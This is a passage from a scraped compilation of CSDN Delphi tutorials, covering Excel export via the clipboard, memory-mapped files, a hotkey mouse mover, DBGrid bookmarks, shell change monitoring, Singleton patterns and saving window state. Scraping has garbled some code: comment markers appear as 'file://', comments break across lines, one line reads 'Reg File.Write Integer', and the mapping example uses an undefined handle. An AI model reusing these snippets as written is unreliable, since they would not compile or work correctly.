上面介绍的只是Delphi实现Windows外壳扩展的一种，参照上面的程序和Delphi关于Windows的COM组件模型的编程，就可以编写出十分专业化的Windows外壳扩展程序。


CSDN_文档中心_利用剪贴板实现高速导出数据到Excel

在很多的时候，我们需要将我们的数据导出到Excel中进行加工，在Access中有现成的工具可以实现
可是在Delphi中却偏偏没有，无论如何我们需要这么一个工具，那么，事不宜迟，细细一想，最好的方法莫过
于直接在程序中按照Excel的格式生成Excel文件，使用Ole技术直接调用Excel实例，由于第一种方法技术实现
过于复杂，好在一般的计算机上已经安装了Office，在此就第二种方法“抛一块砖”。
在此做一个示例以方便说明，我们考虑到导出数据有很多的情况是Master/Detail数据，因此就用两个
TQuery和一个TDataSource，如果有更多的层次，只需要增加TQuery和TDataSource即可，以下使用了两个TQuery
，分别是：qryMaster和qryDetail，一个TDataSource:dsSource;
步骤是：
1.建立一个Excel实例
2.创建一个工作表
3.创建一个TStringList，用来装数据
4.穷举数据表，将数据存入TStringList
5.将TStringList的数据复制到剪贴板
6.把剪贴板中的数据粘贴到Excel
本方法的优点在于：比逐条写入到Excel中的速度大大提高，我曾试过，在P3933，256M的机器上用普通
的方法，导出1000条数据大约需要2分钟，而该用本方法后只需要8秒。

function ToExcel():boolean;
var
y :integer;
tsList :TStringList;
s :string;
aSheet :Variant;
begin
result:=true;
Excel.Connect; // 打开Excel
Excel.Visible[0]:=true; // 显示Excel
Excel.Workbooks.Add(xlWBATWorksheet,0);
aSheet:=excel.Worksheets.Item[1];

tsList:=TStringList.Create;
try
try
with qryMaster do
begin
Open;
First;
While Not Eof do
begin
s:='';
for y:=0 to FieldCount-1 do
begin
s:=s+Fields[y].AsString+#9;
Application.ProcessMessages;
end;
tsList.Add(s);
// 从表
if qryDetail<>nil then
begin
with qryDetail do
begin
Open;
First;
while Not Eof do
begin
s:='';
for y:=0 to FieldCount-1 do
begin
s:=s+Fields[y].AsString+#9;
Application.ProcessMessages;
end;
tsList.Add(s);
next;
end;
end;
end;
next;
end;
Close;
end;
Clipboard.AsText:=tsList.Text;
except
result:=false;
end;
finally
tsList.Free;
end;

Excel.Disconnect;
aSheet.Paste;
MessageBox(Application.Handle,'数据导出完毕！','系统提示',MB_ICONINFORMATION or MB_OK);
end;


CSDN_文档中心_利用内存映射文件扩充程序可用的内存

利用内存映射文件扩充程序可用的内存

Windows利用页交换文件来扩充应用程序实际可用的内存，而不仅限于实际的32兆或64兆物理内存。但是Windows的页交换文件是所有程序共用的，所以我们的程序要想获得更大的内存还是比较困难，比如600兆或者更多。难道就没有办法了吗？Windows提供的内存映射文件为我们提供解决问题的途径。

在硬盘上建立一个600兆的文件，然后将它映射到我们进程的地址空间，Windows会返回一个指向这块内存地址的指针，我可以像使用一个600兆的大数组一样使用该指针，Windows会为我们做好从硬盘文件到内存和从内存到硬盘文件的交换工作，就像我们使用Windows本身的虚拟内存一样，不用我们费一点心思，而且速度很快。

具体方法如下：

// 先在硬盘上建立一个文件，访问标志为可读写，

hFile := CreateFile(PChar(FileName), GENERIC_READ or GENERIC_WRITE, 0, nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);

// 创建文件映射对象, iFileSize指定要建立的映射文件的大小，例如600兆 则iFileSize = 1024 * 1024 *600。当我们打开的硬盘上的文件没有这么大时，Windows会自动将该文件扩展到指定的大小。

hFileMap := CreateFileMapping(hFile, nil, Page_ReadWrite, 0, iFileSize, nil);

// 将文件数据映射到进程的地址空间

pData := MapViewOfFile(FMapHandle, FILE_MAP_WRITE, 0, 0, iFileSize);

然后我们就可以通过pData指针充分利用Windows为我们多扩充的这600兆内存了。当然是用完以后，要做一些清场工作。

// 从进程的地址空间中撤销映射

UnmapViewOfFile(pData);

// 关闭文件映射对象和打开的文件

CloseHandle(hFileMap);

CloseHandle(hFile);


CSDN_文档中心_利用热键控制鼠标移动的一个程序

本程序可以使用热键来将鼠标移动到某一个指定的坐标。是一个定义热键的示例程序。

本程序的热键为小键盘的5，在编辑框内可以指定坐标。

unit MainUnit;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Mask;

type
TForm1 = class(TForm)
btnSetHK: TButton;
btnExit: TButton;
GroupBox2: TGroupBox;
Label3: TLabel;
Label4: TLabel;
btnUnsetHK: TButton;
edYPos: TMaskEdit;
edXPos: TMaskEdit;
Memo: TMemo;
procedure btnExitClick(Sender: TObject);
procedure btnSetHKClick(Sender: TObject);
procedure btnUnsetHKClick(Sender: TObject);
procedure OnHotKey(var Message: TWMHOTKEY); message WM_HOTKEY;
procedure FormDestroy(Sender: TObject);
public
{ Public declarations }
end;

var
Form1: TForm1;

const
idHotKey : WORD = 0;

implementation

{$R *.DFM}

procedure TForm1.btnExitClick(Sender: TObject);
begin

Close;
end;

procedure TForm1.btnSetHKClick(Sender: TObject);
begin
if idHotKey<>0 then Exit;
idHotKey := GlobalAddAtom('EmuMouse'); //给热键取得一个唯一的标识
RegisterHotKey(Handle, idHotKey, 0, VK_NUMPAD5); //注册热键
end;

procedure TForm1.OnHotKey(var Message: TWMHOTKEY);
var
Point: TPoint;
X, Y: Word;
begin
GetCursorPos(Point); //取回当前坐标

try
X := StrToInt(edXPos.Text);
Y := StrToInt(edYPos.Text);
except
ShowMessage('坐标输入不正确.');
Exit;
end;

try
Mouse_Event(MOUSEEVENTF_ABSOLUTE+MOUSEEVENTF_LEFTDOWN, Point.X, Point.Y, 0, GetMessageExtraInfo);

SetCursorPos(X, Y);

Mouse_Event(MOUSEEVENTF_ABSOLUTE+MOUSEEVENTF_LEFTUP, X, Y, 0, GetMessageExtraInfo);

except
ShowMessage('Error');

end;
end;

procedure TForm1.btnUnsetHKClick(Sender: TObject);
begin
if idHotKey = 0 then Exit;
UnRegisterHotKey(Handle, idHotKey); //注销热键
DeleteAtom(idHotKey); //注销标识
idHotKey := 0;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
btnUnsetHK.Click;
end;

end.

这是dfm文件

object Form1: TForm1
Left = 296
Top = 238
AutoSize = True
BorderStyle = bsDialog
BorderWidth = 8
Caption = '模拟鼠标拖动'
ClientHeight = 265
ClientWidth = 211
Color = clBtnFace
Font.Charset = GB2312_CHARSET
Font.Color = clWindowText
Font.Height = -12
Font.Name = '新宋体'
Font.Style = []
OldCreateOrder = False
OnDestroy = FormDestroy
PixelsPerInch = 96
TextHeight = 12
object btnSetHK: TButton
Left = 136
Top = 8
Width = 75
Height = 25
Caption = '设置热键(&H)'
TabOrder = 0
OnClick = btnSetHKClick
end
object btnExit: TButton
Left = 136
Top = 72
Width = 75
Height = 25
Caption = '退出(&X)'
TabOrder = 2
OnClick = btnExitClick
end
object GroupBox2: TGroupBox
Left = 0
Top = 0
Width = 129
Height = 97
Caption = '目的坐标'
TabOrder = 3
object Label3: TLabel
Left = 16
Top = 29
Width = 6
Height = 12
Caption = 'X'
end
object Label4: TLabel
Left = 16
Top = 61
Width = 6
Height = 12
Caption = 'Y'
end
object edXPos: TMaskEdit
Left = 32
Top = 24
Width = 73
Height = 20
EditMask = '0000;1;_'
MaxLength = 4
TabOrder = 0
Text = '0000'
end
object edYPos: TMaskEdit
Left = 32
Top = 56
Width = 73
Height = 20
EditMask = '0000;1;_'
MaxLength = 4
TabOrder = 1
Text = '0000'
end
end
object btnUnsetHK: TButton
Left = 136
Top = 40
Width = 75
Height = 25
Caption = '取消热键(&U)'
TabOrder = 1
OnClick = btnUnsetHKClick
end
object Memo: TMemo
Left = 0
Top = 104
Width = 209
Height = 161
TabOrder = 4
end
end


CSDN_文档中心_利用书签功能对TDBGrid控件中多个记录的处理

DELPHI 的TDBGrid 控 件 主 要 用 来 处 理 数 据 表， 它 的 属 性 中 有
一 个dgMultiSelect， 若 此 属 性 设 定 为TRUE， 则 可 以 选 中 多 个 记 录
（ 可 用CTRL ＋ 鼠 标 左 键 选 择 多 个 记 录）。 对 选 中 的 多 个 记 录
可 以 有 以 下 几 种 处 理 方 式， 比 较 简 单 的 两 种 是： 清 除 所 有
的 选 择 记 录 可 用DBGrid1.SelectedRows.Clear 语 句; 删 除 所 有 的 选
择 记 录 可 用DBGrid1.SelectedRows.Delete 语 句。 但 如 果 想 获 得 选 中
的 所 有 记 录 的 其 他 信 息， 比 如， 在 单 独 的 一 个 窗 体 中 显 示
用 户 选 择 的 记 录 的 第 一 个 字 段 的 内 容（ 如 所 有 选 择 的 姓 名）
如 何 处 理 呢 ？ 这 就 要 使 用 书 签 功 能 了， 下 面 是 笔 者 编 写 的
一 个 程 序 中 的 过 程， 用 来 将 用 户 选 择 的 多 个 记 录 集 中 显 示
在 另 外 一 个 窗 体 中（ 笔 者 使 用 的 是DELPHI4）, 供 参 考 使 用。

procedure GetSelectedRecord
(DataSet : TDataSet; FieldName : String;
BookmarkList : TBookmarkList; Strings : TStrings);
file://这个过程中的参数分别为：数据表、字段名称、
书签、用来保存所选字段内容的
file://字符串（用于将内容传递到另
一个单独窗体中的TLIST控件中）
var
I: Integer;
bm : TBookMark;
begin
Strings.Clear;
with Dataset do begin
DisableControls;
bm := GetBookMark;
try
file://每个选择的记录都有一个书签标志，
这就为处理它们提供了条件
for I := 0 to BookmarkList.Count - 1 do begin
Bookmark := BookmarkList[I];
Strings.Add(DataSet.FindField(fieldname).AsString);
end;
finally
GotoBookMark(bm);
FreeBookMark(bm);
EnableControls;
end;
end;
end;

调用举例：
GetSelectedRecord(Table1, 'NAME', DBGrid1.SelectedRows,
Form2.ListBox1.Items


CSDN_文档中心_利用未公开函数实现Shell操作监视

利用未公开函数实现Shell操作监视 wwwa.applevb.com

在Windows下有一个未公开函数SHChangeNotifyRegister可以吧你的窗口添加到系统的系统消息监视链中，该函数在Delphi
中的定义如下：
Function SHChangeNotifyRegister(hWnd,uFlags,dwEventID,uMSG,cItems:LongWord;
lpps:PIDLSTRUCT):integer;stdcall;external 'Shell32.dll' index 2;
其中参数hWnd定义了监视系统操作的窗口得句柄，参数uFlags dwEventID定义监视操作参数，参数uMsg定义操作消息，参数cItems
定义附加参数，参数lpps指定一个PIDLSTRUCT结构，该结构指定监视的目录。
当函数调用成功之后，函数会返回一个监视操作句柄，同时系统就会将hWnd指定的窗口加入到操作监视链中，当有文件操作发生
时，系统会向hWnd发送uMsg指定的消息，我们只要在程序中加入该消息的处理函数就可以实现对系统操作的监视了。
如果要退出程序监视，就要调用另外一个未公开得函数SHChangeNotifyDeregister来取消程序监视。
下面是使用Delphi编写的具体程序实现范例，首先建立一个新的工程文件，然后在Form1中加入一个Button控件和一个Memo控件，
程序的代码如下：

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls,shlobj,Activex;

const
SHCNE_RENAMEITEM = $1;
SHCNE_CREATE = $2;
SHCNE_DELETE = $4;
SHCNE_MKDIR = $8;
SHCNE_RMDIR = $10;
SHCNE_MEDIAINSERTED = $20;
SHCNE_MEDIAREMOVED = $40;
SHCNE_DRIVEREMOVED = $80;
SHCNE_DRIVEADD = $100;
SHCNE_NETSHARE = $200;
SHCNE_NETUNSHARE = $400;
SHCNE_ATTRIBUTES = $800;
SHCNE_UPDATEDIR = $1000;
SHCNE_UPDATEITEM = $2000;
SHCNE_SERVERDISCONNECT = $4000;
SHCNE_UPDATEIMAGE = $8000;
SHCNE_DRIVEADDGUI = $10000;
SHCNE_RENAMEFOLDER = $20000;
SHCNE_FREESPACE = $40000;
SHCNE_ASSOCCHANGED = $8000000;
SHCNE_DISKEVENTS = $2381F;
SHCNE_GLOBALEVENTS = $C0581E0;
SHCNE_ALLEVENTS = $7FFFFFFF;
SHCNE_INTERRUPT = $80000000;

SHCNF_IDLIST = 0; // LPITEMIDLIST
SHCNF_PATHA = $1; // path name
SHCNF_PRINTERA = $2; // printer friendly name
SHCNF_DWORD = $3; // DWORD
SHCNF_PATHW = $5; // path name
SHCNF_PRINTERW = $6; // printer friendly name
SHCNF_TYPE = $FF;

SHCNF_FLUSH = $1000;

SHCNF_FLUSHNOWAIT = $2000;
SHCNF_PATH = SHCNF_PATHW;
SHCNF_PRINTER = SHCNF_PRINTERW;

WM_SHNOTIFY = $401;
NOERROR = 0;

type
TForm1 = class(TForm)
Button1: TButton;
Memo1: TMemo;
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
procedure WMShellReg(var Message:TMessage);message WM_SHNOTIFY;
public
{ Public declarations }
end;

type PSHNOTIFYSTRUCT=^SHNOTIFYSTRUCT;
SHNOTIFYSTRUCT = record
dwItem1 : PItemIDList;
dwItem2 : PItemIDList;
end;

Type PSHFileInfoByte=^SHFileInfoByte;
_SHFileInfoByte = record
hIcon :Integer;
iIcon :Integer;
dwAttributes : Integer;
szDisplayName : array [0..259] of char;
szTypeName : array [0..79] of char;
end;
SHFileInfoByte=_SHFileInfoByte;

Type PIDLSTRUCT = ^IDLSTRUCT;
_IDLSTRUCT = record
pidl : PItemIDList;
bWatchSubFolders : Integer;
end;
IDLSTRUCT =_IDLSTRUCT;

function SHNotify_Register(hWnd : Integer) : Bool;
function SHNotify_UnRegister:Bool;
function SHEventName(strPath1,strPath2:string;lParam:Integer):string;

Function SHChangeNotifyDeregister(hNotify:integer):integer;stdcall;
external 'Shell32.dll' index 4;
Function SHChangeNotifyRegister(hWnd,uFlags,dwEventID,uMSG,cItems:LongWord;
lpps:PIDLSTRUCT):integer;stdcall;external 'Shell32.dll' index 2;
Function SHGetFileInfoPidl(pidl : PItemIDList;
dwFileAttributes : Integer;
psfib : PSHFILEINFOBYTE;
cbFileInfo : Integer;
uFlags : Integer):Integer;stdcall;
external 'Shell32.dll' name 'SHGetFileInfoA';

var
Form1: TForm1;
m_hSHNotify:Integer;
m_pidlDesktop : PItemIDList;

implementation

{$R *.DFM}

function SHEventName(strPath1,strPath2:string;lParam:Integer):string;
var
sEvent:String;
begin
case lParam of file://根据参数设置提示消息
SHCNE_RENAMEITEM: sEvent := '重命名文件'+strPath1+'为'+strpath2;
SHCNE_CREATE: sEvent := '建立文件 文件名：'+strPath1;
SHCNE_DELETE: sEvent := '删除文件 文件名：'+strPath1;
SHCNE_MKDIR: sEvent := '新建目录 目录名：'+strPath1;
SHCNE_RMDIR: sEvent := '删除目录 目录名：'+strPath1;
SHCNE_MEDIAINSERTED: sEvent := strPath1+'中插入可移动存储介质';
SHCNE_MEDIAREMOVED: sEvent := strPath1+'中移去可移动存储介质'+strPath1+' '+strpath2;
SHCNE_DRIVEREMOVED: sEvent := '移去驱动器'+strPath1;
SHCNE_DRIVEADD: sEvent := '添加驱动器'+strPath1;
SHCNE_NETSHARE: sEvent := '改变目录'+strPath1+'的共享属性';

SHCNE_ATTRIBUTES: sEvent := '改变文件目录属性 文件名'+strPath1;
SHCNE_UPDATEDIR: sEvent := '更新目录'+strPath1;
SHCNE_UPDATEITEM: sEvent := '更新文件 文件名：'+strPath1;
SHCNE_SERVERDISCONNECT: sEvent := '断开与服务器的连接'+strPath1+' '+strpath2;
SHCNE_UPDATEIMAGE: sEvent := 'SHCNE_UPDATEIMAGE';
SHCNE_DRIVEADDGUI: sEvent := 'SHCNE_DRIVEADDGUI';
SHCNE_RENAMEFOLDER: sEvent := '重命名文件夹'+strPath1+'为'+strpath2;
SHCNE_FREESPACE: sEvent := '磁盘空间大小改变';
SHCNE_ASSOCCHANGED: sEvent := '改变文件关联';
else
sEvent:='未知操作'+IntToStr(lParam);
end;
Result:=sEvent;
end;

function SHNotify_Register(hWnd : Integer) : Bool;
var
ps:PIDLSTRUCT;
begin
{$R-}
Result:=False;
If m_hSHNotify = 0 then begin
file://获取桌面文件夹的Pidl
if SHGetSpecialFolderLocation(0, CSIDL_DESKTOP,
m_pidlDesktop)<> NOERROR then
Form1.close;
if Boolean(m_pidlDesktop) then begin
ps.bWatchSubFolders := 1;
ps.pidl := m_pidlDesktop;

// 利用SHChangeNotifyRegister函数注册系统消息处理
m_hSHNotify := SHChangeNotifyRegister(hWnd, (SHCNF_TYPE Or SHCNF_IDLIST),
(SHCNE_ALLEVENTS Or SHCNE_INTERRUPT),
WM_SHNOTIFY, 1, ps);
Result := Boolean(m_hSHNotify);
end
Else
// 如果出现错误就使用 CoTaskMemFree函数来释放句柄
CoTaskMemFree(m_pidlDesktop);
End;
{$R+}
end;

function SHNotify_UnRegister:Bool;
begin
Result:=False;
If Boolean(m_hSHNotify) Then
file://取消系统消息监视，同时释放桌面的Pidl
If Boolean(SHChangeNotifyDeregister(m_hSHNotify)) Then begin
{$R-}
m_hSHNotify := 0;
CoTaskMemFree(m_pidlDesktop);
Result := True;
{$R-}
End;
end;

procedure TForm1.WMShellReg(var Message:TMessage); file://系统消息处理函数
var
strPath1,strPath2:String;
charPath:array[0..259]of char;
pidlItem:PSHNOTIFYSTRUCT;
begin
pidlItem:=PSHNOTIFYSTRUCT(Message.wParam);
file://获得系统消息相关得路径
SHGetPathFromIDList(pidlItem.dwItem1,charPath);
strPath1:=charPath;
SHGetPathFromIDList(pidlItem.dwItem2,charPath);
strPath2:=charPath;

Memo1.Lines.Add(SHEvEntName(strPath1,strPath2,Message.lParam)+chr(13)+chr(10));
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
file://在程序退出的同时删除监视
if Boolean(m_pidlDesktop) then
SHNotify_Unregister;
end;

procedure TForm1.Button1Click(Sender: TObject); file://Button1的Click消息
begin
m_hSHNotify:=0;
if SHNotify_Register(Form1.Handle) then begin file://注册Shell监视
ShowMessage('Shell监视程序成功注册');
Button1.Enabled := False;
end
else
ShowMessage('Shell监视程序注册失败');
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Button1.Caption := '打开监视';
end;

end.

运行程序，点击“打开监视”按钮，如果出现一个显示“Shell监视程序成功注册”的对话框，说明Form1已经加入到系统操作监视链中了，
你可以试着在资源管理器中建立、删除文件夹，移动文件等操作，你可以发现这些操作都被纪录下来并显示在文本框中。
在上面的程序中多次使用到了一个PItemIDList的结构，这个数据结构指定Windows下得一个“项目”，在Windows下资源实现统一管理
一个“项目”可以是一个文件或者一个文件夹，也可以是一个打印机等资源。另外一些API函数也涉及到了Shell(Windows外壳)操作，各位
读者可以参考相应的参考资料。


CSDN_文档中心_两种Delphi实现Singleton模式方法

两种Delphi实现Singleton模式方法

haozi

摘 要 本文描述了两种Singleton模式的Delphi实现方式，并做了对比分析。
关键字 设计模式，Singleton

Singleton(单件)模式是一种很有用的设计模式。它的意图的是：仅仅创建一个类的实例，并提供一个访问它的全局访问点。全局变量使的一个对象易被访问，但不能防止你实例化多个对象。单件模式的目的就是确保在程序的生命周期内只有一个实例存在。
看下面的代码：
procedure TForm1. Button1Click(Sender: TObject);
var lS1 : TSingleton; l
S2 : TSingleton;
begin
try lS1 := TSingleton.Create; ////调用类的构造器
lS2 := TSingleton.Create; ////调用类的构造器
//// ...别的代码
finally
lS1.Free; ////释放对象
lS2.Free; ////释放对象
end;
end;

在上面的代码中第一次调用Create函数时TSingleton类被实例化，lS1指向一个内存存放对象的地址，当第二次调用TSingleton.Create函数时又重新实例化了TSingleton对象,lS2指向内存分配的另一个地址。Singleton模式就是让类自己负责保存他的唯一实例。

在上面的代码中就是让lS2创建的时候也指向lS1指向的对象（也就是被分配同一个内存地址），同样我们在释放lS1时必须防止内存被释放，因为单件对象还被lS2所引用。从而保证在程序的生命周期内有且只有一个类实例。
《设计模式》C++的示例代码是使用C++的静态成员变量保存实例的，同时使用protected的构造器函数。但是在Delphi中由于没有静态成员变量，所以不能原样的使用该单件模式示例的方法。以下我们分析两种DELPHI实现Singleton模式的几种方法。

一．基于override两个Tobject虚拟函数的方法

class function NewInstance: TObject; virtual;
procedure FreeInstance; virtual;
NewInstance函数负责类对象创建的时候为对象分配内存，FreeInstance则相反释放内存

。
前者在对象构造时调用，后者在对象析构时调用。
我们使用两个全局变量来保存单件对象和对象的引用记数。
var Instance : TSingleton = nil;
RefCount : Integer = 0;

TSingleton类的单元：
////---------------------------------------------------------------------------

////
unit uSingleton;

interface

type
TSingleton = class(TObject)
public
class function NewInstance: TObject; override; ////覆盖基类函数
procedure FreeInstance; override; ////覆盖基类函数
class function RefCount: Integer; ////返回当前引用记数
end;

//// Declaration global variables
var
Instance: TSingleton = nil;
RefCount: Integer = 0;

implementation

{ TSingleton }

procedure TSingleton.FreeInstance;
begin
Dec( RefCount ); ////减少引用记数
if ( RefCount = 0 ) then ////是否为0，是则释放内存
begin
Instance := nil;
//// 释放单件类的私有变量
////…
inherited FreeInstance;
end;
end;

class function TSingleton.NewInstance: TObject;
begin
if ( not Assigned( Instance ) ) then
begin
Instance := TSingleton(inherited NewInstance);
////初始化私有变量 例子：
//// Instance.VariableName := Value;
end;
Result := Instance ;
Inc( RefCount );
end;

class function TSingleton.RefCount: Integer;
begin
Result := RefCount;
end;

end.
////---------------------------------------------------------------------------

////

当调用TSingleton的构造器的时候，会调用我们override的NewInstance函数，由NewInstance分配内存并返回给构造器，这样通过override的NewInstance函数我们确保了Create函数只可能实例化一个TSingleton对象（无论调用多少次Create只返回第一次分配的内存地址）。同时RefCount变量保存我们有几个到对象的引用。

我们在来看测试代码

procedure TForm1.Button1Click(Sender: TObject);
var
lS1, lS2: TSingleton;
Ob1, Ob2: Tobject;
begin
lS1 := TSingleton.Create;
ShowMessage(IntToStr(RefCount)); //// Ref_Count = 1
lS2 := TSingleton.Create;
ShowMessage(IntToStr(RefCount)); //// Ref_Count = 2
Ob1 := TObject.Create;
Ob2 := Tobject.Create;
if lS1 = lS2 then
ShowMessage('地址相等') //// lS1 = lS2
else
ShowMessage('地址不相等');
if Ob1 = Ob2 then
ShowMessage('地址相等')
else
ShowMessage('地址不相等'); //// Ob1 <> Ob2
end;
当程序调用析构器的时候（就是调用FREE函数的时候），析构器会调用FreeInstance函数释放被构造器分配的内存。Override的FreeInstance函数保证引用记数为零的时候才释放单件模式对象的内存。
下面是我们的测试代码：
var
lS1 : TSingleton;
lS2 : TSingleton;
begin
try
lS1 := TSingleton.Create; ////调用类的构造器
lS2 := TSingleton.Create; ////调用类的构造器
//// ...别的代码
finally
lS1.Free; ////这里会首先调用我们覆盖定义的FreeInstance，
////由于这时RefCount在减1后为1，单件对象没有被释放
lS2.Free; ////dec(RefCount)= 0 释放单件对象
end;
end;

上面这种单件模式实现方法很好地实现了由类自身来负责保存自己的唯一实例（通过截取创建新对象的请求——参考《设计模式》。它对TSingleton类的使用没有特殊的限制——程序员可以随意的调用Create和Free函数。
本模式的缺点是：该TSingleton类不能作为父类继承生成子类。如果继承生成两个子类，Create时只产生一个对象。
procedure TForm1.Button1Click(Sender: TObject);
var
lS1 : 子类一;
lS2: 子类二;
begin
lS1 := 子类一.Create;
lS2 := 子类二.Create; ////不会创建子类二，lS2将指向lS1指向的内存，
////也就是 lS1 = lS2end;

二．《设计模式》上示例的Delphi实现
《设计模式》的实现示例是通过私有构造器函数来实现控制只产生一个对象实例。但该给出的C++代码实现未给出对象如何释放。Delphi里面不能实现Create函数的私有化，我们新定义一个函数来代替Create函数，同时屏蔽父类的Create函数。代码如下

：
////---------------------------------------------------------------------------

////
unit uSingletonUnit;

interface
uses
Classes, SysUtils;
type

TCSingleton = class(TComponent) ////从Tcomponent类继承来。
private
constructor CreateInstance(AOwner: TComponent); ////传递Owner参数
//// 这样TCSingleton类对象就会随Owner一起销毁（拥有者负责销毁TCSingleton对象）
public
constructor Create(AOwner: TComponent); override;
class function Instance(AOwner: TComponent): TCSingleton;
end;

var
gCSingleton: TCSingleton; //// Global variables

implementation

{ TCSingleton }

constructor TCSingleton.Create(AOwner: TComponent);
begin
////屏蔽Create函数的功能
raise Exception.CreateFmt('Access class %s through Instance only',
[ClassName]);
end;

constructor TCSingleton.CreateInstance(AOwner: TComponent);
begin
////新定义的构造函数Private型的
inherited Create(AOwner);
end;

class function TCSingleton.Instance(AOwner: TComponent): TCSingleton;
begin
if not Assigned(gCSingleton) then
gCSingleton := TCSingleton.CreateInstance(AOwner);
Result := gCSingleton;
end;

end.
////--------------------------------------------------------------------------/

/
上面的实现类使用过程中，程序员不用考虑单件模式对象的销毁问题。只是不能调用Create，必须调用Instance函数来获得对象的实例，同时把单件拥有者作为参数传递到函数里。这种实现方法可以作为基类被继承，用在状态模式的单件里（参见参考文献4），实现执行时的多态。
三．结束语

Singleton 模式的Delphi实现在网上还能查着其他的一些实现方式，本文的两种方法上

最常见的和简单的。同时其它方法的思路也很跟以上两方法很相似。

以上例子均没有考虑多线程的情况。
作者EMAIL：wuch@km169.net

参考文献：
1．《Creating a real singleton class in Delphi》 by Lasse
2．《Delphi 5 开发人员指南》机械工业出版社 2000.7
3．《设计模式》机械工业出版社 2000.9
4．《UML和模式应用》机械工业出版社 2002.1等


CSDN_文档中心_零代码保存窗口运行状态

零代码保存窗口运行状态

     一些比较专业的软件都有自动保存窗口运行状态的功能，具体的方法都是在窗口关闭前将其状态保存到注册表中或ini文件中，而这些代码一般都是相同的，所以可以将其集中在一起，重复使用。本文将相应的代码用一个控件TPosition来实现，使用时只要将此控件放到相应的Form上即可，不需要增加任何代码，从而实现了“零”代码保存窗口运行状态。
    下面是这个控件的主要实现文件Position.pas的内容，包括相应的注释。为了保持注册表的整洁，这里把信息保存到ini文件中。
    unit Position;
    interface
    uses
    Forms, Classes, SysUtils, Windows, IniFiles;
    type
    //TPosition是不可视控件，由TComponent继承
    TPosition = class(TComponent)
    private
    //用此变量保存父窗口的OnDestroy事件
    FOnDestroy: TNotifyEvent;
    //用此函数替换父窗口的OnDestroy事件
    procedure FormDestroy(Sender: TObject);
    protected
    //在控件加载时恢复父窗口状态
    procedure Loaded; override;
    end;
    //恢复窗口位置函数
    procedure ReadFormPos(Form:TForm);
    //保存窗口位置函数
    procedure SaveFormPos(Form:TForm);
    //控件注册函数
    procedure Register;
    implementation
    //连接此控件的图标
    {＄R Position.Dcr}
    //恢复窗口位置函数，窗口状态存放在ini文件中。
    procedure ReadFormPos(Form : TForm);
    var
    RegFile : TIniFile;
    SectName : string;
    begin
    //ini文件中存放Form信息的节名称
    SectName := Form.Name ＋ ' Position';
    //打开与可执行文件名相同的ini文件
    RegFile := TIniFile.Create(
    ChangeFileExt(Application.ExeName,'.ini'));
    //恢复窗口状态
    with Form do begin
    Left := RegFile.ReadInteger(SectName,'Left',Left);
    Top := RegFile.ReadInteger(SectName,'Top',Top);
    Width := RegFile.ReadInteger(SectName,'Width',Width);
    Height := RegFile.ReadInteger(SectName,'Height',Height);
    WindowState := TWindowState(
    RegFile.ReadInteger(SectName,'WindowState',0));
    end;
    //关闭ini文件
    RegFile.Free;
    end;
    //保存窗口位置函数
    procedure SaveFormPos(Form:TForm);
    var
    RegFile : TIniFile;
    SectName : string;
    begin
    SectName := Form.Name ＋ ' Position';
    RegFile := TIniFile.Create(
    ChangeFileExt(Application.ExeName,'.ini'));
    with Form do begin
    RegFile.WriteInteger(SectName,'WindowState',
    integer(WindowState));
    //最大化时，不保存窗口位置
    if WindowState <> wsMaximized then begin
    RegFile.WriteInteger(SectName,'Left',Left);
    RegFile.WriteInteger(SectName,'Top',Top);
    RegFile.WriteInteger(SectName,'Width',Width);
    RegFile.WriteInteger(SectName,'Height',Height);
    end;
    //当要保存状态的窗口是程序主窗口时，要特殊处理。因为主窗口收到最小化消息时，只是把此消息转至Application处理，本身并不最小化。所以我们要判断Application的状态。
    if Form = Application.MainForm then begin
    if IsIconic(Application.Handle) then begin
    Reg File.Write Integer(Sect Name,'WindowState',
    Integer(wsMinimized));
    end;
    end;
    end;
    RegFile.Free;
    end;
    //注册控件
    procedure Register;
    begin
    RegisterComponents('XDCtls', [TPosition]);
    end;
    //TPositon类的实现
    //当主窗口Destroy时，调用此函数，此函数又调用保存的OnDestoy事件处理函数
    procedure TPosition.FormDestroy(Sender: TObject);
    begin
    SaveFormPos(Owner as TForm);
    if Assigned(FOnDestroy) then FOnDestroy(Sender);
    end;
    //控件加载时，恢复父窗口位置，并对父窗口的OnDestroy事件进行替换
    procedure TPosition.Loaded;
    begin
    inherited Loaded;
    //非设计状态才进行处理
    if not (csDesigning in Componentstate) then begin
    ReadFormPos(Owner as TForm);
    FOnDestroy := (Owner as TForm).OnDestroy;
    (Owner as TForm).OnDestroy := FormDestroy;
    end;
    end;
    end.
    完成此单元后，新建一个Package，将此单元包含在其中，编译、安装即可。资源文件Position.dcr，可自行创建合适的图标。使用时，只要将这个控件放到相应的Form即可。下面是我测试时的窗体代码，不用加任何语句就可以自动保存窗体状态。
    unit Unit1;
    interface
    uses
    Windows, Messages, SysUtils, Classes, Graphics,
    Controls, Forms, Dialogs,Position;
    type
    TForm1 = class(TForm)
    Position1: TPosition;
    private
    public
    end;
    var
    Form1: TForm1;
    implementation
    {＄R ＊.DFM}
    end.
    此程序在PWIN97＋Delphi5.0下通过


CSDN_文档中心_流操作的语法

Delphi在这两方面都做的相当出色。在Delphi的早期版本Turbo Pascal 中就曾有流(Stream)、群(Collection)和资源(Resource)等专门用于对象式数据管理的类。在Delphi中，这些功能得到了大大的加强。Delphi将对象式数据管理类归结为Stream对象(Stream)和Filer对象(Filer)，并将它们应用于可视部件类库（VCL）的方方面面。它们不仅提供了在内存、外存和Windows资源中管理对象的功能，还提供了在数据库BLOB字段中对象的功能。

    在本章中将介绍Stream对象和Filer对象的实现原理、应用方法以及在超媒体系统中的应用。这对于运用Delphi 开发高级应用是很重要的。

20.1 流式对象的实现原理和应用

